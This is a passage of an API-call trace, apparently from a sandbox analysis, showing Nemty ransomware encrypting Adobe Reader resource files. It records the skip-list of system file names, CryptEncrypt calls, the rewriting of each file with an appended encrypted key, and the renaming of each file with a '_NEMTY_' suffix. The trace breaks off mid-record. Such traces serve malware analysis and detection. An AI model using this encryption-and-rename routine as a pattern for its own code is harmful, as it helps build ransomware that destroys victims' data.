[0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.560] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="frn.fca", cAlternateFileName="")) returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2=".") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="..") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="...") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="windows") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="$RECYCLE.BIN") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="rsa") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="NTDETECT.COM") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="ntldr") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="MSDOS.SYS") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="IO.SYS") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="boot.ini") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="boot.ini") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="AUTOEXEC.BAT") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="ntuser.dat") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="desktop.ini") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="CONFIG.SYS") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="RECYCLER") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="BOOTSECT.BAK") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="bootmgr") returned 1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="programdata") returned -1 [0217.560] lstrcmpiW (lpString1="frn.fca", lpString2="appdata") returned 1 [0217.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.560] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.fca", lpUsedDefaultChar=0x0) returned 7 [0217.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.fca", lpUsedDefaultChar=0x0) returned 7 [0217.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.fca", lpUsedDefaultChar=0x0) returned 7 [0217.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.fca", lpUsedDefaultChar=0x0) returned 7 [0217.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.561] Sleep (dwMilliseconds=0x5) [0217.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3551ec70, dwHighDateTime=0x1d561e8)) [0217.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3551ec70, dwHighDateTime=0x1d561e8)) [0217.571] GetLastError () returned 0x0 [0217.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.571] GetLastError () returned 0x0 [0217.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.572] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.572] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="1bJOUIVAfsMNEy59udeFd7YhDYVhxdDJ6p7XkEzAQki2svQ5NZjNS1spckhBPY49\r\nIRASWdsgJOQDrPfSBvyyMWgf4Amq1MZ3Q5VBHvgUEXYx8Z9o/hYLCNV447wvOxum\r\nxKzxug6I+F+2oNS+4LP5/+ziXkFRYoNz62MFZdvLl/rk7mPkCcvkc4aJkukTsUix\r\n53N+59QQUAMeq2qn4MDlPoToCG9ldBeIr2f/U4aOv/yDB0E+Q7Gmda5XrYWP7/FX\r\n49Vmr9iy3rJ0i5APGsHv8f6AWUs0wz6WPSV24DFaMvXLA6UbmKorN3EBYmf1R7WW\r\nCYosyKsUAiyLIlZnfc9Vog==\r\n", pcchString=0x653df5c) returned 1 [0217.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.573] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=1780) returned 1 [0217.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6f0) returned 0x4f9f4a0 [0217.573] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.573] ReadFile (in: hFile=0x320, lpBuffer=0x4f9f4a0, nNumberOfBytesToRead=0x6f0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesRead=0x653e1a4*=0x6f0, lpOverlapped=0x0) returned 1 [0217.574] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.574] WriteFile (in: hFile=0x320, lpBuffer=0x4f9f4a0*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x4f9f4a0*, lpNumberOfBytesWritten=0x653e19c*=0x6f0, lpOverlapped=0x0) returned 1 [0217.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9f4a0 | out: hHeap=0x4f90000) returned 1 [0217.574] SetFilePointer (in: hFile=0x320, lDistanceToMove=1780, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f4 [0217.574] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.575] CloseHandle (hObject=0x320) returned 1 [0217.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.575] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.575] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.fca._nemty_kgobjgd_")) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.576] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.576] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dedfba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="frn.hyp", cAlternateFileName="")) returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2=".") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="..") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="...") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="windows") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="rsa") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="NTDETECT.COM") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="ntldr") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="MSDOS.SYS") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="IO.SYS") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="boot.ini") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="boot.ini") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="ntuser.dat") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="desktop.ini") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="CONFIG.SYS") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="RECYCLER") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="bootmgr") returned 1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="programdata") returned -1 [0217.576] lstrcmpiW (lpString1="frn.hyp", lpString2="appdata") returned 1 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="frn.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="frn.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.577] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.577] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.577] Sleep (dwMilliseconds=0x5) [0217.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35544dd0, dwHighDateTime=0x1d561e8)) [0217.593] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35544dd0, dwHighDateTime=0x1d561e8)) [0217.593] GetLastError () returned 0x0 [0217.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.593] GetLastError () returned 0x0 [0217.593] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.594] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.594] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.594] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0217.594] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="n8hw1lW0PrZZAUAMIOgl2unQrvW7u0W/W38HJKyCV7P9U9eTmhJW4zZBasbqks4/\r\n1ZNO1kgoRIDdwO48OXkG5v+TLchqx66BcIpM8zcDl1n3aR/7dfuKog1Zgn4bwm9e\r\nQvOVNPq/2Xno2YjDaVuGHF+4Pd8CWnibXC2VhgY/5BqawYOZ3E346hpT5zUEKvPY\r\nl9T1KMyKVOhj80k4GZzkbVRBNm/JlaKNfcngrRL1h/j+s8AIYvR7ofiRcIO8/oQD\r\nxd0SYd/KNU6VvZ56AAnLCDEcUwu0yroB9RFO53U1uDd6UVb5A3jt0ernEGqpgY7F\r\nK07RPii/qC4LbgR19AYnuw==\r\n", pcchString=0x653df5c) returned 1 [0217.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.594] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0217.594] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.594] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.595] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=8192) returned 1 [0217.595] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6354c48 [0217.595] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.595] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x2000, lpOverlapped=0x0) returned 1 [0217.597] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.597] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x2000, lpOverlapped=0x0) returned 1 [0217.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.597] SetFilePointer (in: hFile=0x320, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0217.597] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.597] CloseHandle (hObject=0x320) returned 1 [0217.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.597] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.597] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.598] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\frn.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\frn.hyp._nemty_kgobjgd_")) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.598] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.598] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df05d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44280, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="frn21.hsp", cAlternateFileName="")) returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2=".") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="..") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="...") returned 1 [0217.599] lstrcmpiW (lpString1="frn21.hsp", lpString2="windows") returned -1 [0217.599] lstrcmpiW 